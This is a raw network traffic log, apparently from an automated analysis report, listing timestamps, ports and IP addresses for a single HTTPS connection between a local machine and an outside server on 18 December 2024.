Dec 18, 2024 13:21:04.692763090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.692830086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.692847967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.692876101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.692894936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.692913055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.699446917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.699521065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.699521065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.699557066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.699574947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.699595928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.833153963 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.833189011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.833317995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.833359003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.833420992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.851962090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.851994038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.852102995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.852129936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.852173090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.858782053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.858808994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.858880997 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.858906984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.858946085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.864753962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.864792109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.864847898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.864873886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.864892006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.864912033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.871762037 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.871797085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.871870995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.871897936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.871937990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.878314972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.878340960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.878402948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.878429890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.878447056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.878469944 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.884653091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.884686947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.884735107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.884764910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.884779930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.884794950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.891565084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.891592979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.891644001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:04.891661882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:04.891695976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.026196003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.026230097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.026344061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.026371002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.026411057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.045110941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.045145035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.045197010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.045222998 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.045238972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.045253992 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.051258087 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.051280975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.051330090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.051354885 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.051367998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.051393032 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.057207108 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.057226896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.057265043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.057286024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.057298899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.057322025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.063875914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.063896894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.063963890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.063982010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.064002991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.064022064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.070000887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.070022106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.070056915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.070074081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.070084095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.070111036 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.077220917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.077246904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.077285051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.077301025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.077316046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.077342987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.083199024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.083218098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.083257914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.083272934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.083292961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.083306074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.218421936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.218450069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.218508005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.218539953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.218554974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.218580961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.236187935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.236207962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.236313105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.236344099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.236386061 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.243443966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.243463993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.243571043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.243598938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.243635893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.249404907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.249423981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.249481916 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.249510050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.249548912 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.256351948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.256372929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.256464005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.256496906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.256536961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.262864113 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.262891054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.262933969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.262959957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.262974977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.262998104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.268898010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.268917084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.268965960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.268987894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.269001007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.269026041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.275485039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.275515079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.275567055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.275599003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.275615931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.275643110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.410917997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.410948992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.411003113 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.411052942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.411073923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.411093950 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.430082083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.430107117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.430152893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.430171967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.430202961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.430226088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.435614109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.435632944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.435724974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.435758114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.435798883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.442234993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.442255974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.442307949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.442331076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.442346096 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.442389011 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.448546886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.448565960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.448607922 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.448621988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.448654890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.448662043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.455210924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.455233097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.455291986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.455305099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.455327988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.455353022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.462383032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.462404013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.462507010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.462553978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.462601900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.467567921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.467593908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.467685938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.467710972 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.467749119 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.602952957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.602982044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.603095055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.603123903 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.603166103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.620717049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.620748997 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.620798111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.620816946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.620846033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.620852947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.627492905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.627511024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.627553940 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.627559900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.627588987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.627609968 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.633606911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.633629084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.633711100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.633718967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.633785963 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.640683889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.640705109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.640762091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.640772104 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.640805006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.640824080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.647245884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.647264004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.647296906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.647305012 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.647331953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.647350073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.655689955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.655708075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.655781031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.655788898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.655828953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.660872936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.660891056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.660942078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.660949945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.660960913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.660991907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.794923067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.794959068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.795006990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.795043945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.795062065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.795089960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.812967062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.812999010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.813045025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.813054085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.813103914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.813122988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.821297884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.821324110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.821369886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.821393013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.821408033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.821435928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.827059031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.827083111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.827155113 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.827178001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.827219009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.834953070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.834979057 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.835033894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.835042953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.835079908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.835105896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.840275049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.840295076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.840353966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.840377092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.840393066 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.840409994 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.845752954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.845803022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.845868111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.845892906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.845910072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.845925093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.852617025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.852642059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.852701902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.852725983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.852741003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.852765083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.988188028 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.988226891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.988375902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:05.988415003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:05.990586996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.005167961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.005199909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.005326986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.005356073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.006552935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.012121916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.012161016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.012216091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.012243986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.012257099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.013961077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.018462896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.018501043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.018565893 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.018601894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.018616915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.022576094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.025115013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.025141954 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.025207996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.025243044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.025259018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.026544094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.031579018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.031609058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.031653881 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.031678915 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.031697035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.034543991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.037904978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.037930965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.037971020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.037986040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.038001060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.038017988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.044747114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.044784069 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.044840097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.044852018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.044876099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.044893026 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.179611921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.179637909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.179697037 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.179719925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.179735899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.179761887 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.197438002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.197464943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.197544098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.197573900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.197592974 CET	49723	443	192.168.2.10	118.107.29.172
